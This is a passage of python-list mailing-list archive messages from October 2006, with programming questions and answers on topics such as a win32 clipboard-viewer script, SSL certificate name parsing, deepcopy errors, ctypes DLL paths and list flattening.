9x% cpu. what should i do? the code was post below. ################################################## import win32ui, win32clipboard, win32con, win32api, win32gui def paste(): win32clipboard.OpenClipboard(0) data = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() return data class ClipRecord(object): def __init__(self): self.hPrev = 0 self.first = True self.win = win32ui.CreateFrame() self.win.CreateWindow(None,'',win32con.WS_OVERLAPPEDWINDOW) self.win.HookMessage(self.OnDrawClipboard,win32con.WM_DRAWCLIPBOARD) self.win.HookMessage(self.OnChangeCBChain,win32con.WM_CHANGECBCHAIN) self.win.HookMessage(self.OnDestroy,win32con.WM_DESTROY) try: self.hPrev=win32clipboard.SetClipboardViewer(self.win.GetSafeHwnd()) except win32api.error, err: if win32api.GetLastError () == 0: # information that there is no other window in chain pass else: raise while True: win32gui.PumpWaitingMessages() def OnChangeCBChain(self, *args): msg, wParam, lParam = args[-1][1:4] if self.hPrev == wParam: # repair the chain self.hPrev = lParam if self.hPrev: # pass the message to the next window in chain win32api.SendMessage (self.hPrev, msg, wParam, lParam) def OnDrawClipboard(self, *args): msg, wParam, lParam = args[-1][1:4] if self.first: self.first = False else: print "clipboard content changed" print paste() if self.hPrev: # pass the message to the next window in chain win32api.SendMessage (self.hPrev, msg, wParam, lParam) def OnDestroy(self): if self.hPrev: win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(), self.hPrev) else: win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(), 0) if __name__ == "__main__": cr = ClipRecord() From michael at stroeder.com Thu Oct 26 13:01:07 2006 From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=) Date: Thu, 26 Oct 2006 19:01:07 +0200 Subject: Obtaining SSL certificate info from SSL object - BUG? In-Reply-To: <453D95EA.1020602@animats.com> References: <453D95EA.1020602@animats.com> Message-ID: John Nagle wrote: > The Python SSL object offers two methods from obtaining > the info from an SSL certificate, "server()" and "issuer()". > The actual values in the certificate are a series of name/value > pairs in ASN.1 binary format. But what "server()" and "issuer()" > return are strings, with the pairs separated by "/". The > documentation at "http://docs.python.org/lib/ssl-objects.html" > says "Returns a string containing the ASN.1 distinguished name > identifying the server's certificate. (See below for an example showing > what distinguished names look like.)" There is, however, no "below". > > What you actually get back looks like this, which is Google's certificate: > > "/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com" > > So, no problem; just split on "/", right? > > Unfortunately, "/" is a legal character in certificate values. You hit a really serious problem: There's no completely well-defined string representation format for distinguished names used in X.509 certificates. The format above is what OpenSSL used in the beginning. Yuck! IMO this is also a security problem in some cases. The best thing would be to stick to RFC 4514 (formerly RFC 2253: Lightweight Directory Access Protocol (LDAP): String Representation of Distinguished Names). It defines a UTF-8-based string representation. Play around with OpenSSL's command-line option 'nameopt': > openssl x509 -inform der -in VSIGN1.CER -subject -issuer -noout subject= /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority issuer= /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority > openssl x509 -inform der -in VSIGN1.CER -subject -issuer -noout -nameopt rfc2253 subject= OU=Class 1 Public Primary Certification Authority,O=VeriSign\, Inc.,C=US issuer= OU=Class 1 Public Primary Certification Authority,O=VeriSign\, Inc.,C=US Guess the second is what Python SSL object also should return. No idea whether this is available at OpenSSL's API level. Ciao, Michael. From maric at aristote.info Fri Oct 6 05:58:21 2006 From: maric at aristote.info (Maric Michaud) Date: Fri, 6 Oct 2006 11:58:21 +0200 Subject: Subclassing built-in classes In-Reply-To: References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> <200610051700.00482.maric@aristote.info> Message-ID: <200610061158.21402.maric@aristote.info> Le jeudi 05 octobre 2006 20:24, Steve Holden a ?crit?: > ? >>> class mystr(oldstr): > ? ... ? def __new__(*a, **kw): > ? ... ? ? print "called:", a, kw > ? ... you don't return the string here... > ? >>> import __builtin__ > ? >>> __builtin__.str = mystr > ? >>> > Readline internal error > Traceback (most recent call last): > ? ?File "C:\Python24\lib\site-packages\readline\Console.py", line 644, > in hook_wrapper_23 > ? ? ?raise TypeError, 'readline must return a string.' ...It should explain this error. > > So, what are you trying to say? The type of the literal strings is > clearly just what it always was. Where, when and how exactly does this > magical monkey patch affect literals? ooops, maybe we aren't on the same plan. As the first post said "...couldn't python (in theory)...", I was discussing if it would be possible for python (in some future version) to manage the literals so that they use the constructors in the __builtin__ module, I didn't say it works actually (I'm aware it's not the case). -- _____________ Maric Michaud _____________ Aristote - www.aristote.info 3 place des tapis 69004 Lyon Tel: +33 426 880 097 From anthony at python.org Thu Oct 19 03:42:00 2006 From: anthony at python.org (Anthony Baxter) Date: Thu, 19 Oct 2006 17:42:00 +1000 Subject: RELEASED Python 2.4.4, Final. Message-ID: <200610191742.14093.anthony@python.org> On behalf of the Python development team and the Python community, I'm happy to announce the release of Python 2.4.4 (FINAL). Python 2.4.4 is a bug-fix release. While Python 2.5 is the latest version of Python, we're making this release for people who are still running Python 2.4. This is the final planned release from the Python 2.4 series. Future maintenance releases will be in the 2.5 series, beginning with 2.5.1. See the release notes at the website (also available as Misc/NEWS in the source distribution) for details of the more than 80 bugs squished in this release, including a number found by the Coverity and Klocwork static analysis tools. We'd like to offer our thanks to both these firms for making this available for open source projects. * Python 2.4.4 contains a fix for PSF-2006-001, a buffer overrun * * in repr() of unicode strings in wide unicode (UCS-4) builds. * * See http://www.python.org/news/security/PSF-2006-001/ for more. * There's only been one small change since the release candidate - a fix to "configure" to repair cross-compiling of Python under Unix. For more information on Python 2.4.4, including download links for various platforms, release notes, and known issues, please see: http://www.python.org/2.4.4 Highlights of this new release include: - Bug fixes. According to the release notes, at least 80 have been fixed. This includes a fix for PSF-2006-001, a bug in repr() for unicode strings on UCS-4 (wide unicode) builds. Enjoy this release, Anthony Anthony Baxter anthony at python.org Python Release Manager (on behalf of the entire python-dev team) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: not available URL: From bjobrien62 at gmail.com Tue Oct 31 12:16:56 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 31 Oct 2006 09:16:56 -0800 Subject: scared about refrences... In-Reply-To: References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162242647.481298.251320@b28g2000cwb.googlegroups.com> <1162248250.994200.13450@m7g2000cwm.googlegroups.com> <1162254191.507805.276640@k70g2000cwa.googlegroups.com> Message-ID: <1162315016.354163.18950@i42g2000cwa.googlegroups.com> J. Clifford Dyer wrote: > SpreadTooThin wrote: > > J. Clifford Dyer wrote: > >> SpreadTooThin wrote: > >>> Steven D'Aprano wrote: > >>>> On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote: > >>>> > >>>> > >>> I seems that some of the objects in the list don't get along well with > >>> deep copy.. > >>> See my second example post that used deepcopy... When run blows up... > >>> > >> When it blows up, is there a lot of shrapnel, or just smoke and fire? > >> Is the shrapnel mostly metal, or is it plastic and glass? > >> > >> In short, if we don't know what's happening, we can't help. > >> * Did the program spit out a bunch of text you didn't understand? > >> If so, show us the text. That text may be incomprehensible at first, > >> but it contains crucial clues. > >> > >> * Did it close your python window without a word? > >> Tell us. > >> > >> * Did your computer freeze up? > >> Tell us. > >> > >> If you don't tell us what went wrong *exactly*, you won't get a > >> satisfactory answer. > >> > > > > I would assume that looking at the code you should be able to tell.. > > Silly me.. Here.. is the log.. If I were helping.. I would have cut > > and pasted the code myself and ran it.. instead of trying to interpret > > this... > > I know it seems unnecessary to post the traceback when I could get the > same thing by running your code on my machine, but it's actually useful, > for a couple reasons: First, when I run the code, I might not get an > error, or if I do, it might not be the same error you were getting, and > then we'd be on a wild goose chase. This could be because your python > installation is goofy, or because you copied in your code incorrectly. > Shit happens, and I'd rather not even start down one of those blind > alleys. Third, it provides a useful frame for how to look at your > code. While a traceback might look like a big mess at first, it's > actually pretty easy to skim through once you get used to it, and it > tells me where to focus my attention in your code. > > > > > array('H', [1, 2, 3]) ['a', 'b', 'c'] > > Traceback (most recent call last): > > File > > "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py", > > line 1806, in runMain > > self.dbg.runfile(debug_args[0], debug_args) > > File > > "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py", > > line 1529, in runfile > > h_execfile(file, args, module=main, tracer=self) > > File > > "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py", > > line 590, in __init__ > > execfile(file, globals, locals) > > File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py", > > line 20, in __main__ > > test(t) > > File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py", > > line 16, in test > > t = copy.deepcopy(x) > > File > > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", > > line 174, in deepcopy > > y = copier(x, memo) > > File > > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", > > line 305, in _deepcopy_inst > > state = deepcopy(state, memo) > > File > > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", > > line 174, in deepcopy > > y = copier(x, memo) > > File > > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", > > line 268, in _deepcopy_dict > > y[deepcopy(key, memo)] = deepcopy(value, memo) > > File > > "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", > > line 185, in deepcopy > > y = copier(x, memo) > > TypeError: __deepcopy__() takes no arguments (1 given) > > > > > > > >> Cheers, > >> Cliff > > > > Thanks, that's very helpful. Playing with your code a bit, I narrowed > the problem down to the array.array() structure. Looking at > help(array), there's a method defined called __deepcopy__, which, it > seems, takes no arguments, while deepcopy is passing it one argument. > Looks like a bug in the array module to me. Maybe others with more > experience using array will have some deeper insight. > > I don't understand why python would insist that everything must be a refrence... It is of course helpful sometime but other times its not... and now I'm sorta out of luck... I don't know how to make this structure immutable... Pickle it? Seems very inefficient to me... Every time I pass a variable now I will worry that it will be changed by the function... I haven't worried about things like this since the very early days of BASIC.... I don't know.. maybe I have more to learn. > Cheers, > Cliff From deets at nospam.web.de Tue Oct 10 07:16:27 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 10 Oct 2006 13:16:27 +0200 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de> Message-ID: <4p1dobFgqul0U1@uni-berlin.de> >> Nope. Things like CORBA and COM do have that property, but e.g. the Java >> beans spec has only a meaning inside the VM. Not sure about .NET, but I >> can imagine there it's the same thing. >> > Well the .NET component model is specifically designed to be > cross-language, but that's a feature of .NET/mono rather than of the > componenet framework. You are correct about Beans, though. Is this cross-language in the sense jython can use beans? Or in the sense like CORBA? I assumed the former, which isn't cross-language in my perception (at least not in the general sense, as CORBA is) >> All the languages he mentioned are statically typed, or the component >> models themselves are. So the component model is basically needed (as >> others also mentioned) to glue things together, to dynamize that - >> whereas python is dynamic on the first hand, and actually lacks static >> typing to infer component properties... >> > Just the same, one can use IronPython to call components written in > other languages. And, I believe, vice versa. Sure, as I can do it in jython. But the key point is: can your ordinary python-object be published as a component? At least for jython I can say "no", you will have to subclass an already existing java-object/interface. And I have difficulties imagining that it is any different in .NET - because I've read statements that claimed that the structure of the VM/runtime is orientied towards single-inheritance statically typed languages as C#/java. Diez From jchumnanvech at gmail.com Thu Oct 19 18:27:49 2006 From: jchumnanvech at gmail.com (jchumnanvech at gmail.com) Date: 19 Oct 2006 15:27:49 -0700 Subject: ignore cstylecomment issues Message-ID: <1161296869.482440.209990@m7g2000cwm.googlegroups.com> from pyparsing import Word, printables,ZeroOrMore,cStyleComment expr = ZeroOrMore(Word(printables)) expr.ignore(cStyleComment) for line in expr.parseString('#include \n\nint main()\n{/*interesintg\ncomment*/\nstd::cout << "hello world";\n}'): print line outputs #include int main() {/*interesintg comment*/ std::cout << "hello world"; } if i put a space between { and /* then it works properly any help plz From codecraig at gmail.com Tue Oct 17 09:51:57 2006 From: codecraig at gmail.com (abcd) Date: 17 Oct 2006 06:51:57 -0700 Subject: Tertiary Operation In-Reply-To: References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: <1161093117.541719.320210@i3g2000cwc.googlegroups.com> Carsten Haese wrote: > Use Python 2.5 where there is a true conditional > expression or find another way to solve your problem. python 2.5 once we upgrade (hopefully soon), anyways...an earlier post suggested the inverse... x = None result = (x is not None and str(x) or "") which works just fine. thanks. From bignose+hates-spam at benfinney.id.au Sun Oct 15 06:03:18 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sun, 15 Oct 2006 20:03:18 +1000 Subject: problem with the 'math' module in 2.5? References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> <1160886206.594661.321230@e3g2000cwe.googlegroups.com> <1160903686.538807.201310@i42g2000cwa.googlegroups.com> Message-ID: <877iz13nh5.fsf@benfinney.id.au> "Paddy" writes: > Ben Finney wrote: > > Your calculator is probably doing rounding without you asking for > > it. > > > > Python refuses to guess what you want, and gives you the > > information available. > > I don't think Python should take too much credit here. I don't understand what you could mean by this. Credit for "giv[ing] you the information available"? That's exactly what it's doing. > Floating point calcuations are subject to rounding. Sometimes it > shows. And Python is showing it, rather than hiding it. It certainly isn't doing any rounding unless asked to do so. -- \ Legionnaire: "We have their leader captive!" C?r: "Is he | `\ bound?" Legionnaire: "Of his health I know not, sir." -- The | _o__) Goon Show, _The Histories Of Pliny The Elder_ | Ben Finney From reivax85 at gmail.com Wed Oct 18 07:17:29 2006 From: reivax85 at gmail.com (Sssasss) Date: 18 Oct 2006 04:17:29 -0700 Subject: matrix Multiplication Message-ID: <1161170249.549988.260870@m73g2000cwd.googlegroups.com> hi evrybody! I wan't to multiply two square matrixes, and i don't understand why it doesn't work. Could you explain me? def multmat(A,B): "A*B" if len(A)!=len(B): return "error" D=[] C=[] for i in range(len(A)): D.append(0) for i in range(len(A)): C.append(D) for i in range(len(A)): for j in range(len(A)): for k in range(len(A)): C[i][j]+=A[i][k]*B[k][j] print C[i][j] print C[i] return C when i use it on : >>> A=[[2,3,4],[5,8,6],[4,5,7]] >>> B=[[1,0,0],[0,1,0],[0,0,1]] I get : 2 2 2 0 3 3 0 0 4 [2, 3, 4] 7 7 7 3 11 11 4 4 10 [7, 11, 10] 11 11 11 11 16 16 10 10 17 [11, 16, 17] [[11, 16, 17], [11, 16, 17], [11, 16, 17]] thank you From blair.houghton at gmail.com Sun Oct 8 20:31:08 2006 From: blair.houghton at gmail.com (Blair P. Houghton) Date: 8 Oct 2006 17:31:08 -0700 Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) In-Reply-To: References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> Message-ID: <1160353868.451644.224910@e3g2000cwe.googlegroups.com> Bryan Olson wrote: > Aahz wrote: > > The problem is the network effect. In this case, what Google has that > > can't be replicated is the history of posts. > > There's no magic there. Get them the same way Google and > Dejanews got them, plus you might scrape Google, from some > locality with favorable laws. You can do it in America, as long as you don't use their value-added formatting or data. Hence, stripping their headers from every message, and un-framing the messages from their bins. The original data, with its owner-copyrighted, revokably-licensed-by-default attributes, can be recovered. But some messages can't be seen because their owners already asked Google not to display them. They're still in the archive: Google has as much right as anyone to keep what you sent them. They just don't have the right to display them next to their ads if you revoke their license. But missing messages are comparatively rare. --Blair From jan.bakuwel at int.greenpeace.org Fri Oct 13 12:43:09 2006 From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel) Date: Fri, 13 Oct 2006 18:43:09 +0200 Subject: IDE In-Reply-To: References: <4zOXg.1918$uv5.11354@twister1.libero.it> Message-ID: <12ivggt86e3js24@corp.supernews.com> John Purser wrote: > On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote: >> What is the better IDE software for python programming? >> >> many thanks >> >> joe > > Joe, > > Find the best Python programmer and ask him/her. > > John Purser I may be the worst Python programmer (since Python is new for me)... but I have a lot of experience with IDEs and just looked into Python IDEs. My opinion: Eclipse is free but rather complex; WingIDE is commercial software but well worth the few $ - at least for someone like myself. cheers, Jan From pandyacus.xspam at xspam.sbcglobal.net Wed Oct 25 07:39:11 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Wed, 25 Oct 2006 11:39:11 GMT Subject: Ctypes Error: Why can't it find the DLL. References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com> <1161764706.074300.124260@i42g2000cwa.googlegroups.com> Message-ID: <8764e8tyjk.fsf@localhost.localdomain> "Jon Clements" writes: > Mudcat wrote: > > > > So then I use the find_library function, and it finds it: > > > > >>> find_library('arapi51.dll') > > 'C:\\WINNT\\system32\\arapi51.dll' > > > > Notice it's escaped the '\' character. > > > At that point I try to use the LoadLibrary function, but it still can't > > find it: > > > > >>> windll.LoadLibrary('C:\WINNT\system32\arapi51.dll') > > Traceback (most recent call last): > > File "", line 1, in ? > > File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 395, in > > LoadLibrary > > return self._dlltype(name) > > File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in > > __init__ > > self._handle = _dlopen(self._name, mode) > > WindowsError: [Errno 126] The specified module could not be found > > > > What am I doing wrong? [snip] > > You need to use either > windll.LoadLibrary(r'c:\winnt\system32\arapi51.dll') or escape the \'s > as the find_library function did. You're getting caught out by \a which > is the alert/bell character. \w and \s aren't valid escape sequences so > you get away with them. I'm guessing it's worked before because you've > been lucky. > > Works fine!: > >>> 'C:\winnt\system32\smtpctrs.dll' > 'C:\\winnt\\system32\\smtpctrs.dll' > > Uh oh, escaped: > >>> 'C:\winnt\system32\arapi51.dll' > 'C:\\winnt\\system32\x07rapi51.dll' I wondered about it, but that would not explain why it fails in the first case - perhaps the OP now knows what happened. Interestingly I get a different error with the distribution binary for 2.5 - I get "Error 22" instead of "Errno 126", but the message text was same, so I assumed this was from a different version and something had changed about how the errno is reported. However, I checked the windows error codes and 126 seems to be the correct error. The error code talks about bad command and the corresponding message text reads "The device does not recognize the command." -Chetan > > Jon. From onurb at xiludom.gro Wed Oct 11 07:09:18 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 11 Oct 2006 13:09:18 +0200 Subject: sufficiently pythonic code for testing type of function In-Reply-To: References: <452cab5d$0$5294$426a74cc@news.free.fr> <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com> Message-ID: <452cd0df$0$11417$426a74cc@news.free.fr> Theerasak Photha wrote: > On 10/11/06, Fredrik Lundh wrote: > >> can be a lot better than a 30-level traceback that ends with a line >> looking something like >> >> fnut.index(gah) > > Despite long experience with Perl, I am not a big follower of the > "goose_level: blah" method of error reporting... > >> also, checking for __method__ is, in general, not the right way to check >> if an object implements a given interface. > > I had a vague feeling it might not be a Right Thing(tm). > I kind of miss > responds_to? getattr(obj, name[,default]) is your friend. Remember that methods are just callable attributes. >> so if you can, try doing the operation instead, and catch error (if you >> really need to check first, use an idempotent operation, if available). > > I'll do that as soon as my green noggin figures out what 'idempotent' > means. idempotent -> no side effects. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From pavlovevidence at gmail.com Fri Oct 20 11:27:17 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 20 Oct 2006 08:27:17 -0700 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: Message-ID: <1161358037.736440.24010@h48g2000cwc.googlegroups.com> Demel, Jeff wrote: > I've been programming professionally for over 10 years, and have never > once needed to reverse a string. Maybe it's a lack of imagination on my > part, but I can't think of a single instance this might be necessary. Say you're using a function from a third-party library that finds the first character in a string that meets some requirement. You need to find the last such character. Carl From wescpy at gmail.com Mon Oct 30 13:04:30 2006 From: wescpy at gmail.com (wesley chun) Date: Mon, 30 Oct 2006 10:04:30 -0800 Subject: Observation on "Core Python Programming" Message-ID: <78b3a9580610301004h3ad79fb3r99fe675c63bda7f0@mail.gmail.com> (warning: LONG reply) thanks to those above for the kind remarks. tackling comments and questions, not quite in chronological order. :-) > Who would you say the book is aimed at? Advanced programmers? this book is targeted towards technical professionals already literate in another high-level language who wants to pick up Python as quickly as possible. it is not a topical coverage of a programming language's features. you know how after learning a new language, it takes a few months to really "feel comfortable" enough to *not* pick up a book in order to commence writing code? my goal is to reduce that time period while provide the reader a comprehensive understanding of how the standard types work, esp. in their relationship to Python's memory model. it is my belief that a solid foundation here will reduce or eliminate any potential bugs you would've written had you read a more conventional introductory text. > What really jumped out at me is an interesting feature about how > it sequences its topics, namely, (user-defined) functions are not > introduced until chapter 11, fully 400 pages into the book. i guess i found this post quite interesting because there is such a focus on "what should be introduced when." the purpose of chapter 2 (getting started) is to proxy for the standard "introduction to programming X" book. if you read it, you should be able to "get started in Python" immediately. you have enough info on functions to start coding and probably don't need var args, decorators, or any of that stuff yet. the chapter on functions occur later because most of the time, what we've shown you in "getting started" is enough to, ummm..., get you started, and that all successive chapters are meant to dive more deeply into each area. > seems to confirm the "batteries are included" philosophy of > Python. Perhaps there is less need to learn how to roll your > own batteries as soon as possible. this is definitely one of the hallmarks of the language. the current user base already knows this... it's just more difficult to get this out there to the general programming populus, esp. when there are already so many languages starting with "P". :-) > The revenge of lambdas. Will they stay or will they go?" ;-) they will stay. ;-) > am interested in seeing the extend to which Python is genuinely > "multi-paradigm" - able to blend the functional and imperative > (and OO) paradigms together. this comes from guido himself. he "wants you to be able to see the forest through the trees." i see Python as a "greatest hits" of many computer programming languages. for our benefit, he's given us the best stuff. > I cant' exactly figure out why yet, but he has a way of explaining > something, like, say, decorators, that in minimal words elucidates > for me the intent behind why they are useful. That helps me > understand how they work. "Python fits your brain." (bruce eckel) i don't see why python should have a monopoly on your brain. i want me share too. ;-) the thing that makes writing a pleasurable is when the language has so much to offer. i use this book in teaching my python courses, and the book mirrors my lecturing style. i suppose that rather than a dry college textbook, i'd rather write in a way as if i was having a conversation with you, or if you were actually sitting there attending one of my courses. readers (as well as course attendees) have remarked how questions they may come up with as they are learning a topic are answered in the next section or chapter (or 3-4 presentation slides) as the case may be. > The second edition site doesn't give a sample chapter (but > does give the complete preface) ahhh, the secret here is that you need to look in the right place. "prentice hall"s web page doesn't have it, but PHPTR's does, even if they are the same publishing house. for some reason, we've got the featured book of the month!! just go to http://phptr.com and click the book's link there. you'll find: - book's description - table of contents - preface - sample chapter (getting started, chapter 2!) - index the last three are in PDF format. if for some reason, october ends and it's gone from the front page, here is a direct link: http://phptr.com/title/0132269937 thanks to everyone for their support, esp. my excellent technical reviewers for keeping me honest! please send comments, suggestions, corrections, and other feedback to me. i am happy to hear about any issues you find in the book -- everything. it doesn't matter if it is the smallest grammatical edit, errors in the code, or just plain wrong or misleading information. don't believe everything you read! (sometimes writing at 2, 3, and 4a in the morning does something to your writing when you're trying to tackle a publisher's deadlines.) keep checking the book's errata page at http://corepython.com all book correspondence should go to corepython at yahoo dot com. cheers! -- wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall, (c)2007,2001 http://corepython.com wesley.j.chun :: wescpy-at-gmail.com python training and technical consulting cyberweb.consulting : silicon valley, ca http://cyberwebconsulting.com From chtaylo3 at gmail.com Wed Oct 18 12:11:37 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Wed, 18 Oct 2006 12:11:37 -0400 Subject: Install from source on a x86_64 machine Message-ID: <2590773a0610180911m1a8f9105g8ccd06e94a853585@mail.gmail.com> Hello all, Being relatively new to linux I'm a little confused about what options I need to use to build python from source. Currently, I have python installed as part of the inital RHEL4 load located at /usr/bin/Python and /usr/bin/Python2.3 . Some of the files are located in /usr/lib64/Python2.3 and in /usr/lib/Python2.3 . Please let me know if you need dir lsitings. I'm trying to compile from source and plan on using the --enable-unicode=ucs4 option for the configure script due to some RHEL messing around with Tcl/Tk. *** How do I get make altinstall to put the appropriate files in /usr/lib64/Python2.4 and /usr/lib/Python2.4 respectively ? *** Respectfully, Christopher Taylor From diffuser78 at gmail.com Fri Oct 6 09:03:46 2006 From: diffuser78 at gmail.com (diffuser78 at gmail.com) Date: 6 Oct 2006 06:03:46 -0700 Subject: Graph Theory In-Reply-To: <8agVg.10235$e66.9444@newssvr13.news.prodigy.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> <8agVg.10235$e66.9444@newssvr13.news.prodigy.com> Message-ID: <1160139826.557843.233440@m73g2000cwd.googlegroups.com> Thanks for all your responses. From claird at lairds.us Wed Oct 4 16:30:05 2006 From: claird at lairds.us (Cameron Laird) Date: Wed, 4 Oct 2006 20:30:05 +0000 Subject: Find out the name of a variable passed as an argument References: <4524093C.6090707@arcor.de> Message-ID: In article , Fredrik Lundh wrote: >Andreas Huesgen wrote: > >> is there a way to receive the name of an object passed to a function >> from within the function. > >objects don't have names, so in general, you cannot do that. see: > >http://pyfaq.infogami.com/how-can-my-code-discover-the-name-of-an-object . . . Note, though, the slight miscalibration of the Python Time Machine, for (see the top of the content) appeared about eighteen hours before Mr. Huesgen asked his question. From roger.miller at nova-sol.com Mon Oct 9 16:06:46 2006 From: roger.miller at nova-sol.com (Roger Miller) Date: 9 Oct 2006 13:06:46 -0700 Subject: pythonw documentation? Message-ID: <1160424406.457796.312970@c28g2000cwb.googlegroups.com> I was going to ask how to a program can tell whether it was started by python.exe or pythonw.exe, but after some experimentation I noticed that sys.stdin.fileno() is -1 in the latter case. However on a more general note, the only references to pythonw that I could find in the Python 2.5 documentation are in the Macintosh section. Have I overlooked something, or is this a deficiency that should be addressed? From dieter at handshake.de Tue Oct 3 14:53:14 2006 From: dieter at handshake.de (Dieter Maurer) Date: 03 Oct 2006 20:53:14 +0200 Subject: Survival of the fittest References: <4519bcf6$0$8000$c83e3ef6@nn1-read.tele2.net> <3kZSg.4025$o71.2439@newsread3.news.pas.earthlink.net> Message-ID: Dennis Lee Bieber writes on Thu, 28 Sep 2006 23:57:51 GMT: > On 28 Sep 2006 22:48:21 +0200, Dieter Maurer > declaimed the following in comp.lang.python: > > > We learn: a C/C++ implementation can in some cases be drastically > > more efficient than a Python one. > > > Did we? > > When did someone build a C/C++ compiler that generates bytecodes for > the Python virtual machine interpreter? > > What I've learned from this tale is that a C/C++ implementation -- > compiling to native hardware opcodes -- can run faster than an > implementation compiled to interpreted Python bytecodes... No idea as to > "efficiency" of the implementations themselves I would be really surprised if an optimizing compiler (e.g. a just in time compiler) would have found the optimations I implemented. You may look at the two implementations: They are "IncrementalSearch" (Python) and "IncrementalSearch2" (C), respectively, on The Python implementation worked with arbitrary trees, the C implementation needs quite different code for integer trees and and for arbitrary trees and only for integer trees, it can gain the two orders of magnitude in speed. The optimizing compiler would need to recognize that it can drastically optimize if *ALL* keys in a tree are integer and would need to efficiently detect for a given tree that it satisfies this condition. It would lose immediately, when it tried to verify the a tree has only integer keys (as this takes linear time while most operations are sub-linear). -- Dieter From larry.bates at websafe.com Mon Oct 30 16:43:33 2006 From: larry.bates at websafe.com (Larry Bates) Date: Mon, 30 Oct 2006 15:43:33 -0600 Subject: Python windows interactive. In-Reply-To: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> Message-ID: <45467205.3000302@websafe.com> notejam wrote: > I am trying to get started with a interactive version of Python for > windows and need some help. > I have played with the tutorial, and now want to write a program. > > In basic language, I could write something like > 10 print "hello" > 20 print "Jim" > > and if I run it I would get > hello > Jim > > How do I do sometihing simple like that in python? > How do I enter line numbers, or if none, what do I do. > Can the interpreter load a text file with my program in it? > How do I list a program or the parts of a program I am interested in > looking at? > > How do I run a python program? > Start with the tutorial here: http://docs.python.org/tut/tut.html Your program in python would be: print "hello" print "jim" You don't have line numbers in Python Yes the interpreter can load a text file with your program. A good "beginners" version of Python for windows is: http://www.activestate.com/Products/ActivePython/?tn=1 It has an easy to use interpreter window with both your program and interactive prompt open on the screen. To run a program you click run icon. To run outside the interpreter you type python programname.py -Larry From rrr at ronadam.com Tue Oct 17 12:42:52 2006 From: rrr at ronadam.com (Ron Adam) Date: Tue, 17 Oct 2006 11:42:52 -0500 Subject: Need a strange sort method... In-Reply-To: References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: Neil Cerutti wrote: > On 2006-10-16, Tim Chase wrote: >> If you need it in a flat list, rather than as a list of >> chunk_size lists (which are handy for iterating over in many >> cases), there are ways of obtaining it, such as the hackish >> >>>>> sum([a[i::chunk_size] for i in range(chunk_size)], []) >> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] >> >> There are likely good recipes for flattening a list. I just >> happen not to have any at my fingertips. > > Actually, there isn't a good recipe in Python for flattening a > list. They all come out tasting like Circus Peanuts (Turkish > Delight for you non-Yanks). > Here's two that I came up with. They are both very fast compared to anything else I've seen. Maybe they won't taste so much like Peanuts. :-) def flatten(L): """ Flatten a list in place. """ i = 0 while i < len(L): while type(L[i]) is list: L[i:i+1] = L[i] i += 1 return L def sflatten(sequence): """ Return a flattened sequence as a list. """ def iterinner(seq): for s in seq: if hasattr(s, '__iter__'): for i in iterinner(s): yield i else: yield s return list(iterinner(sequence)) Cheers, Ron Adam From steve at holdenweb.com Sun Oct 8 06:44:18 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 08 Oct 2006 11:44:18 +0100 Subject: operator overloading + - / * = etc... In-Reply-To: <452820C1.5020607@tim.thechases.com> References: 